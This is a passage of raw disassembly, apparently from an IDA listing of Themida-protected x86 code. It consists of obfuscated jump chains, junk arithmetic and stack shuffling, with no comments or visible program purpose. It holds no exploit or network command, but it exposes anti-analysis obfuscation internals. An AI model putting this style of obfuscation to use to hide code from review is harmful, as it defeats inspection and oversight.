loc_58C803: ; CODE XREF: Themida_:005967FDj
shl ah, 3
jmp loc_5935A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58C80B: ; CODE XREF: sub_590467:loc_590327j
sub ebp, 7E96BDFBh
mov edx, ebp
mov ebp, [esp-8+arg_4]
add esp, 4
sub edi, edx
pop edx
xor edi, 8B38AA28h
add esi, edi
jmp loc_59373E
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_58C82C: ; CODE XREF: Themida_:00592FA4j
mov ebx, [esp]
add esp, 4
xor ebp, 0E240C3D0h
add eax, 7E903EA7h
sub eax, ebp
push ebp
mov ebp, 7E903EA7h
sub eax, ebp
pop ebp
push dword ptr [esp]
pop ebp
push edi
mov edi, esp
add edi, 4
jmp loc_591B70
; ---------------------------------------------------------------------------
loc_58C85D: ; CODE XREF: Themida_:00591B76j
pop esp
sub esp, 4
mov [esp], ebp
mov ebp, 2B7C1E87h
sub ebp, 1B08E839h
add eax, ebp
mov ebp, [esp]
sub esp, 4
mov [esp], eax
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov eax, [esp]
add esp, 4
jmp loc_58E0A8
; ---------------------------------------------------------------------------
loc_58C898: ; CODE XREF: Themida_:0058B8ADj
push dx
mov dh, 0E8h
jmp loc_590F5B
; ---------------------------------------------------------------------------
loc_58C8A1: ; CODE XREF: Themida_:00596C9Cj
mov ecx, esp
push ebp
mov ebp, 63851776h
not ebp
xor ebp, 9C7AE88Dh
sub ecx, 7D9564B1h
jmp loc_595C33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595258
loc_58C8BC: ; CODE XREF: sub_595258-9DDj
xor [esp+0], edi
xor edi, [esp+0]
xor [esp+0], edi
add edi, 1
push ebp
push esp
pop ebp
push 2B29h
mov [esp+0], edi
jmp loc_596CF6
; END OF FUNCTION CHUNK FOR sub_595258
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58C8DB: ; CODE XREF: sub_590010+7E96j
mov edx, 10CE0E75h
push ecx
mov ecx, 10CE0E75h
mov eax, ecx
pop ecx
jmp loc_590CD9
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_58C8EE: ; CODE XREF: Themida_:0058AE7Aj
xor esi, 0B706F184h
mov ebx, esi
mov esi, [esp]
add esp, 4
jmp loc_58B3E9
; ---------------------------------------------------------------------------
loc_58C904: ; CODE XREF: Themida_:0058A2FDj
add esp, 4
push edx
jmp loc_58CB6B
; ---------------------------------------------------------------------------
loc_58C90D: ; CODE XREF: Themida_:0058E768j
pop bx
jmp loc_595789
; ---------------------------------------------------------------------------
loc_58C914: ; CODE XREF: Themida_:0058A858j
; Themida_:00593555j
inc eax
jp loc_58DE92
xor eax, 7607DFB4h
shr eax, 4
mov bl, 75h
push eax
; START OF FUNCTION CHUNK FOR sub_592D12
loc_58C927: ; CODE XREF: sub_592D12-4BF1j
not eax
inc eax
sub eax, 0B917BB63h
and edx, eax
pop eax
xor edx, 59256118h
neg edx
sub edx, 92DB9C6Eh
jmp loc_58C16D
; END OF FUNCTION CHUNK FOR sub_592D12
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58C945: ; CODE XREF: sub_590010-58C8j
or ecx, 65D0F76h
jmp loc_58C387
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58C950: ; CODE XREF: sub_590467-11BCj
add esp, 4
push 2AAFh
mov [esp], edx
jmp loc_5979C9
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_58C963: ; CODE XREF: sub_592D25-2801j
add edx, 4
add edx, 4
xchg edx, [esp+8+var_8]
pop esp
push edi
jmp loc_5908B3
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
mov ax, fs:[edx]
jmp loc_59158C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DBC4
loc_58C97F: ; CODE XREF: sub_58DBC4-1A96j
mov esp, [esp+0]
mov [esp+0], eax
jmp loc_592E29
; END OF FUNCTION CHUNK FOR sub_58DBC4
; ---------------------------------------------------------------------------
loc_58C98A: ; CODE XREF: Themida_:0059106Dj
shl ecx, 7
xor ecx, 56A37E2Bh
sub ecx, 69B9405Ah
jmp loc_597849
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594654
loc_58C99E: ; CODE XREF: sub_594654-8571j
mov esp, [esp+4+var_4]
jmp loc_58B3A4
; END OF FUNCTION CHUNK FOR sub_594654
; ---------------------------------------------------------------------------
loc_58C9A6: ; CODE XREF: Themida_:00590867j
pop edi
add edi, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
jmp loc_59506C
; ---------------------------------------------------------------------------
loc_58C9BB: ; CODE XREF: Themida_:005923A0j
pop esp
add al, 89h
sub al, bl
sub al, 89h
push 67CFh
mov [esp], ecx
mov cl, 0Fh
sub cl, 7Ah
add cl, 0Ah
neg cl
jmp loc_58EC39
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58C9D9: ; CODE XREF: sub_5916C4-598Ej
sub ah, 0E0h
jmp loc_58CA29
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_58C9E1: ; CODE XREF: Themida_:0058DCDBj
shr ebx, 8
jmp loc_59725F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58C9E9: ; CODE XREF: sub_58C17E+3Dj
xchg eax, edx
dec edx
dec edx
add edx, 91AC0334h
jmp loc_590F16
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58C9F7: ; CODE XREF: Themida_:0059776Ej
add eax, edi
sub eax, 58BF48F3h
push dword ptr [esp]
pop edi
jmp loc_596F5B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58CA07: ; CODE XREF: sub_58C17E+B88Ej
cmp eax, edx
jz loc_59259A
push 6E1Eh
mov [esp+6+var_8+2], edx
push ecx
push 5855664h
pop ecx
sub ecx, 99D31F3h
jmp loc_58B095
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58CA29: ; CODE XREF: sub_5916C4-4CE8j
add ah, 66h
add dh, ah
mov eax, [esp-12h+arg_C+2]
add esp, 4
push ecx
jmp loc_5958BF
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595655
loc_58CA3D: ; CODE XREF: sub_595655+1A01j
or eax, 0B897B03h
jmp loc_597F78
; END OF FUNCTION CHUNK FOR sub_595655
; ---------------------------------------------------------------------------
loc_58CA47: ; CODE XREF: Themida_:00596EA7j
sub ax, dx
add ax, 3C8Bh
sub ax, 1C2Eh
pop edx
mov bx, [esp]
add esp, 2
push ax
mov ax, 2095h
add bx, ax
mov ax, [esp]
jmp loc_59501C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F091
loc_58CA6C: ; CODE XREF: sub_58F091:loc_58C5E8j
not edi
push 35Fh
jmp loc_58B44B
; END OF FUNCTION CHUNK FOR sub_58F091
; ---------------------------------------------------------------------------
loc_58CA78: ; CODE XREF: Themida_:0058BD41j
xor ebx, [esp]
pop esp
mov [esp], ecx
mov ecx, esp
push edx
jmp loc_58C457
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58CA87: ; CODE XREF: sub_5916C4-3D9Ej
xor bl, al
movzx eax, al
push dword ptr [edi+eax*4]
push edi
mov edi, 43781F68h
jmp loc_59122E
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_58CA9A: ; CODE XREF: Themida_:0058B118j
pop ecx
xor ecx, 6EC6244Dh
pop edx
and ecx, 58E405F3h
sub ecx, 5060040Fh
add eax, ecx
pop ecx
push edx
mov edx, 4
add eax, edx
pop edx
xor eax, [esp]
jmp loc_58E8B0
; ---------------------------------------------------------------------------
loc_58CAC2: ; CODE XREF: Themida_:0058BA53j
push eax
mov eax, 2FCC5788h
shr eax, 6
jmp loc_58AB21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58CAD0: ; CODE XREF: sub_58C17E+C88j
push 4E88h
jmp loc_58F7BC
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58CADA: ; CODE XREF: Themida_:00590553j
; sub_590010+1B20j
add ebp, 7461519h
sub ebp, 613E0866h
add ebp, esi
jmp loc_59380A
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_58CAED: ; CODE XREF: Themida_:0059156Ej
; Themida_:00593F30j
sub dl, 56h
mov cl, dl
jmp loc_58E249
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58CAF7: ; CODE XREF: sub_58C17E+9637j
pop ecx
add edx, 4
jmp loc_58E145
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58CB00: ; CODE XREF: sub_5EC2E8-5A98Cj
push [esp+24h+var_20]
pop ebp
pop [esp+24h+var_24]
pop esp
cmp cx, ax
pushf
jmp loc_596923
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_58CB12: ; CODE XREF: Themida_:00594FC6j
inc ebp
jl loc_58F478
dec ebp
jmp loc_58C13B
; ---------------------------------------------------------------------------
sub ebp, 836A7E70h
push edi
; START OF FUNCTION CHUNK FOR sub_59762D
loc_58CB26: ; CODE XREF: sub_59762D:loc_58F6A0j
sub edx, 7C198C65h
jmp loc_59258A
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594131
loc_58CB31: ; CODE XREF: sub_594131+Ej
push eax
mov eax, 54113F26h
sub ebx, eax
pop eax
add ebx, 45BED362h
add edi, ebx
pop ebx
push ecx
jmp loc_58F072
; END OF FUNCTION CHUNK FOR sub_594131
; ---------------------------------------------------------------------------
loc_58CB49: ; CODE XREF: Themida_:0059144Ej
push esp
jmp loc_58A4B6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F013
loc_58CB4F: ; CODE XREF: sub_58F013+37C9j
pop ebp
push 5DE9h
mov [esp+4+var_4], ecx
push dword ptr [esp+4]
pop ecx
jmp loc_58DA19
; END OF FUNCTION CHUNK FOR sub_58F013
; ---------------------------------------------------------------------------
loc_58CB62: ; CODE XREF: Themida_:00590D59j
push dword ptr [esp+4]
jmp loc_58F866
; ---------------------------------------------------------------------------
loc_58CB6B: ; CODE XREF: Themida_:0058C908j
push 4CBBh
mov [esp], esp
add dword ptr [esp], 4
mov edx, [esp]
jmp loc_58F492
; ---------------------------------------------------------------------------
loc_58CB7F: ; CODE XREF: Themida_:0058C5D5j
push 1B78h
jmp loc_59560B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58CB89: ; CODE XREF: sub_58C17E-14EFj
mov bl, al
mov dl, bl
mov ebx, [esp+0]
add esp, 4
mov bl, dl
mov edx, [esp+0Ch+var_C]
add esp, 4
pop eax
jmp loc_5977E9
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591059
loc_58CBA4: ; CODE XREF: sub_591059+3CC8j
xor ebx, eax
jmp loc_594090
; END OF FUNCTION CHUNK FOR sub_591059
; ---------------------------------------------------------------------------
loc_58CBAB: ; CODE XREF: Themida_:0058C7CBj
lodsb
sub esp, 4
jmp loc_591462
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58CBB7: ; CODE XREF: sub_5948B7-4595j
; sub_58C17E+AE1Dj
jp loc_593299
shl ebx, 2
jz loc_58D770
sub ebx, 52F96193h
jmp loc_58F614
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5919E2
loc_58CBD1: ; CODE XREF: sub_5919E2-63FCj
add esi, 0C9A36DB7h
jmp loc_595564
; END OF FUNCTION CHUNK FOR sub_5919E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58CBDC: ; CODE XREF: sub_58C17E+BEDCj
pop ebx
add eax, 4
xchg eax, [esp+0]
mov esp, [esp+0]
jmp loc_58A569
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58CBED: ; CODE XREF: sub_590010+43E6j
add ecx, 0E4CF820Dh
mov esi, ecx
pop ecx
jmp loc_594806
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_58CBFB: ; CODE XREF: Themida_:0058ACD3j
sub ebx, 0DB9F9089h
sub esi, 7C276857h
add esi, ebx
push edx
mov edx, 7AA54AAh
add edx, 41F3301Fh
shr edx, 6
sub edx, 49C51A9Ch
sub edx, 3BB00155h
sub edx, 0FF89F1CBh
jmp loc_58DFEC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58CC2F: ; CODE XREF: sub_5EC2E8-61D57j
push ecx
mov ch, ah
mov bh, ch
pop ecx
jmp loc_596C4E
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_58CC3A: ; CODE XREF: Themida_:00591539j
jno loc_58BFC7
push ecx
push ebx
mov ebx, 7DA0097Bh
mov al, 4Dh
mov edi, edi
; START OF FUNCTION CHUNK FOR sub_58E3A6
loc_58CC4B: ; CODE XREF: sub_58E3A6-31A6j
and edi, 2CC43FC1h
inc edi
add edi, 306B5E36h
add edx, edi
pop edi
sub esp, 4
mov [esp-4+arg_0], ecx
jmp loc_592B77
; END OF FUNCTION CHUNK FOR sub_58E3A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F091
loc_58CC69: ; CODE XREF: sub_58F091+1238j
pop ebp
and ecx, edi
mov edi, [esp+4+var_4]
jmp sub_58DBC4
; END OF FUNCTION CHUNK FOR sub_58F091
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58CC74: ; CODE XREF: sub_590010-D43j
xchg edi, [esp+0]
pop esp
shr ecx, 0Bh
push 6C04h
mov [esp+0], edi
push ebx
sub [esp+4+var_4], 451B6CF4h
jmp loc_59124E
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58CC90: ; CODE XREF: sub_5916C4-608Dj
mov bh, 0
add al, bh
jmp loc_58C58D
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_58CC99: ; CODE XREF: Themida_:0059537Aj
inc ecx
sub ecx, 20490312h
jmp loc_594593
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58CCA5: ; CODE XREF: sub_5916C4+4F93j
push 4223h
mov [esp+0], edi
push 160Eh
jmp loc_596DEA
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_58CCB7: ; CODE XREF: sub_595E21-7232j
dec ebx
jle loc_595637
dec ebx
jnp loc_59490B
shr ebx, 7
jns loc_592882
sub ebx, 0FFFDBA48h
push ebx
pop edi
pop ebx
jmp loc_5919CC
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
pop ecx
loc_58CCDD: ; CODE XREF: Themida_:0058BC8Cj
add esi, 4
add esi, 4
push esi
jmp loc_591632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595258
loc_58CCEF: ; CODE XREF: sub_595258-530Dj
pop eax
add ebx, edi
pop edi
xor ebx, [esp+14h+var_14]
jmp loc_5971A0
; END OF FUNCTION CHUNK FOR sub_595258
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58CCFB: ; CODE XREF: sub_58C17E+5F78j
add esi, 4
xchg esi, [esp+0]
pop esp
jmp loc_592689
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590B70
loc_58CD07: ; CODE XREF: sub_590B70+DA2j
; Themida_:0059639Fj
sub esi, eax
pop eax
sub ebx, esi
pop esi
add eax, [ebx]
pop ebx
jmp loc_595ED8
; END OF FUNCTION CHUNK FOR sub_590B70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58CD15: ; CODE XREF: sub_58F5B5+1785j
add ebx, 4
jmp loc_590DB4
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D12
loc_58CD20: ; CODE XREF: sub_592D12-6B99j
mov esp, [esp-0Ch+arg_8]
mov ax, word ptr [esp-0Ch+arg_8]
push edx
mov edx, esp
jmp sub_58B4D6
; END OF FUNCTION CHUNK FOR sub_592D12
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl byte ptr [esp], cl
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_58CD3E: ; CODE XREF: Themida_:0058E93Ej
shr esi, 4
shr esi, 6
push ecx
mov ecx, 67740DDh
xor ecx, 52DC3C7Bh
shr ecx, 1
shl ecx, 7
shl ecx, 6
sub ecx, 8D7A125Ah
jmp loc_595862
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58CD63: ; CODE XREF: sub_5916C4-62FFj
mov ebp, 4
add esi, ebp
pop ebp
add esi, 2
xchg esi, [esp-8+arg_4]
pop esp
push ebx
push eax
mov ah, dl
jmp loc_593802
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_58CD7B: ; CODE XREF: Themida_:00592263j
ja loc_5945E0
shr edi, 6
sub edi, 71E80F89h
push edx
loc_58CD8B: ; CODE XREF: Themida_:0058B970j
sub ebx, 0C624216Bh
add edx, ebx
pop ebx
not edx
push edi
push ebx
mov ebx, 2551AC0h
mov edi, ebx
pop ebx
shr edi, 7
push eax
mov eax, 664F4D78h
neg eax
neg eax
inc eax
jmp loc_59793C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58CDB3: ; CODE XREF: sub_590467-5B72j
or esi, 73995CAFh
sub esi, 62F52DA8h
mov eax, esi
pop esi
and eax, 770F001Ah
sub eax, 1506000Eh
add ebp, eax
pop eax
push eax
mov eax, 4
sub ebp, eax
pop eax
push ebp
jmp loc_58DDCC
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
adc [esp], eax
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58CDEC: ; CODE XREF: sub_5916C4+5421j
or ebx, esi
pop esi
push ecx
jmp loc_591F45
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58CDF5: ; CODE XREF: sub_58C17E+523j
; Themida_:00591DD0j
add eax, esi
add eax, 7F37C2Eh
pop esi
mov edi, [esp-0Eh+arg_8+2]
add esp, 4
jmp loc_58CAD0
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58CE0B: ; CODE XREF: sub_5EC2E8-60559j
mov cl, 0D2h
and cl, 0DCh
jmp loc_5958F0
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_58CE15: ; CODE XREF: Themida_:00594F7Aj
xor [esp], edi
xor edi, [esp]
jmp loc_590D2B
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push edi
push esp
pop edi
add edi, 4
push esi
jmp loc_58DB8E
; ---------------------------------------------------------------------------
loc_58CE33: ; CODE XREF: Themida_:00591B38j
add edx, 4
push 5604h
mov [esp], edi
push ebp
jmp loc_5912F5
; ---------------------------------------------------------------------------
loc_58CE47: ; CODE XREF: Themida_:0058EE4Dj
add esp, 4
push ebp
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], eax
jmp loc_594F22
; ---------------------------------------------------------------------------
lodsd
jmp loc_595A2C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58CE6C: ; CODE XREF: sub_58C17E+4BE6j
push esp
pop edi
add edi, 4
add edi, 4
xchg edi, [esp-12h+arg_C+2]
jmp loc_58BACA
; ---------------------------------------------------------------------------
loc_58CE7F: ; CODE XREF: sub_58C17E+3096j
add esp, 4
jmp loc_594C16
; ---------------------------------------------------------------------------
loc_58CE8A: ; CODE XREF: sub_58C17E-18Bj
add ebx, 4
add ebx, 4
xor ebx, [esp+2+var_4+2]
xor [esp+2+var_4+2], ebx
xor ebx, [esp+2+var_4+2]
pop esp
push esi
mov esi, 120C6F33h
or esi, 3A3140B0h
jmp loc_58B5BA
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_58CEB1: ; CODE XREF: sub_5916CB-37A8j
mov esp, [esp+0]
jmp loc_58FFD3
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58CEB9: ; CODE XREF: sub_58C17E+6E18j
mov [esp+2+var_4+2], esp
push ebx
jmp loc_58A6FB
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58CEC2: ; CODE XREF: sub_58C17E+5EB8j
; sub_5EC2E8-55F1Dj
mov eax, 6A6A1FC9h
add edi, eax
pop eax
jmp loc_596B92
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_58CECF: ; CODE XREF: Themida_:00593376j
pop eax
pop edi
push edx
jmp loc_5940F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58CED7: ; CODE XREF: sub_58C17E+6506j
jmp loc_594B2B
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_58CEDC: ; CODE XREF: sub_59762D-25A8j
mov cl, 71h
xor dh, cl
mov cx, [esp+0]
add esp, 2
sub al, 0D5h
push bx
mov bh, 0CAh
add al, bh
pop bx
add al, dh
sub al, 0CAh
jmp loc_58F85F
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_58CEFD: ; CODE XREF: Themida_:00595A4Cj
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edi
jmp loc_597779
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_58CF15: ; CODE XREF: sub_59762D-A3Ej
mov eax, 0F4EB65A1h
xor edx, eax
pop eax
sub ebp, edx
pop edx
xor ebp, 147A1EB1h
not ebp
jmp loc_591823
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_58CF2D: ; CODE XREF: Themida_:0058FA75j
sub esi, ebp
pop ebp
xor esi, [esp]
jmp loc_59182E
; ---------------------------------------------------------------------------
loc_58CF38: ; CODE XREF: Themida_:0058E373j
add eax, ebp
mov ebp, [esp]
add esp, 4
jmp loc_58A570
; ---------------------------------------------------------------------------
loc_58CF48: ; CODE XREF: Themida_:0058D552j
mov eax, esp
add eax, 4
sub esp, 4
jmp loc_592629
; ---------------------------------------------------------------------------
loc_58CF57: ; CODE XREF: Themida_:005918D7j
push ebx
jmp loc_594B65
; ---------------------------------------------------------------------------
loc_58CF5D: ; CODE XREF: Themida_:00596EB3j
xor bl, 0C2h
jmp loc_592BE2
; ---------------------------------------------------------------------------
loc_58CF65: ; CODE XREF: Themida_:00597E7Aj
sub edx, ebp
pop ebp
sub esp, 4
mov [esp], ecx
jmp loc_58EBF4
; ---------------------------------------------------------------------------
loc_58CF73: ; CODE XREF: Themida_:0058DB21j
dec ah
inc ah
not ah
push edx
mov dl, 0D1h
shl dl, 7
or dl, 0B9h
xor dl, 0EBh
sub dl, 66h
add dl, 7Bh
xor ah, dl
pop edx
add ah, 4
xor ch, ah
pop eax
xor al, ch
mov ecx, [esp]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_5970CF
; ---------------------------------------------------------------------------
lodsd
push edx
mov edx, 8E67C52h
sub edx, 52970E08h
push 3934h
mov [esp], ecx
jmp loc_58BCAC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58CFC1: ; CODE XREF: sub_58C17E+BB0Fj
pop ebx
and eax, ecx
mov ecx, [esp+2+var_4+2]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
push ebx
push [esp+0Ah+var_8+2]
jmp loc_590B34
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58CFDD: ; CODE XREF: Themida_:005951E9j
mov ebx, 235F13A0h
add eax, ebx
pop ebx
push dword ptr [esp]
push dword ptr [esp]
pop ecx
jmp loc_5920BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_58CFF1: ; CODE XREF: sub_595123+288Fj
mov esp, [esp+0Ch+var_C]
jmp loc_58AFE2
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_58CFF9: ; CODE XREF: sub_5916CB-24Fj
add esi, 4
push ecx
mov ecx, 614D1066h
sub ecx, 614D1062h
sub esi, 6823399h
add esi, ecx
add esi, 6823399h
pop ecx
xchg esi, [esp+0Ch+var_C]
pop esp
or edx, eax
shl edx, 1
push eax
push ebx
mov ebx, 1
mov eax, ebx
pop ebx
push 3E0Dh
mov [esp+10h+var_10], edx
mov edx, 24h
sub esp, 4
mov [esp+14h+var_14], ebp
mov ebp, 382A50DFh
sub edx, ebp
mov ebp, [esp+14h+var_14]
jmp loc_58F39F
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58D051: ; CODE XREF: sub_5EC2E8-606CAj
xor eax, 79FA75FFh
jmp loc_594734
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58D05B: ; CODE XREF: sub_5919E2-3E72j
; sub_58C17E+5E61j
mov [esp+0], esi
pop eax
pop esi
push ebp
push ebx
sub esp, 4
mov [esp+0], ecx
jmp loc_58F4D9
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58D06D: ; CODE XREF: Themida_:0058F17Bj
pop eax
pop ecx
add ecx, ebp
jmp loc_58A84F
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], ebx
jmp loc_596D4E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58D085: ; CODE XREF: sub_58C17E+8AADj
mov eax, 4
sub esi, 7F1C3ED0h
add esi, eax
add esi, 7F1C3ED0h
mov eax, [esp+0]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+0]
jmp loc_592E13
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58D0AE: ; CODE XREF: Themida_:0058E1BDj
; Themida_:0058E477j
add esp, 4
add ebp, 4
jmp loc_594542
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58D0BC: ; CODE XREF: sub_5EC2E8-612D9j
add esp, 4
sub ecx, 5A597F45h
add ecx, edi
add ecx, 5A597F45h
push eax
pop dword ptr [ecx]
mov ecx, [esp+20h+var_20]
jmp loc_58D8FC
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_58D0D8: ; CODE XREF: Themida_:0058C35Bj
mov [esp], ecx
jmp loc_5964A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58D0E0: ; CODE XREF: sub_58F5B5-19F6j
add ecx, 4
jmp sub_5951B9
; END OF FUNCTION CHUNK FOR sub_58F5B5
; =============== S U B R O U T I N E =======================================
sub_58D0EB proc near ; CODE XREF: sub_58C17E-FCBj
; FUNCTION CHUNK AT 0058DC19 SIZE 00000010 BYTES
push ebx
jmp loc_58DC19
sub_58D0EB endp
; ---------------------------------------------------------------------------
loc_58D0F1: ; CODE XREF: Themida_:0059419Dj
add ebp, esi
pop esi
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
mov eax, 4
add ecx, eax
mov eax, [esp]
add esp, 4
sub ecx, 2
jmp loc_58AC94
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58D116: ; CODE XREF: sub_58C17E-1D26j
mov eax, esp
sub esp, 4
mov [esp+8+var_8], esi
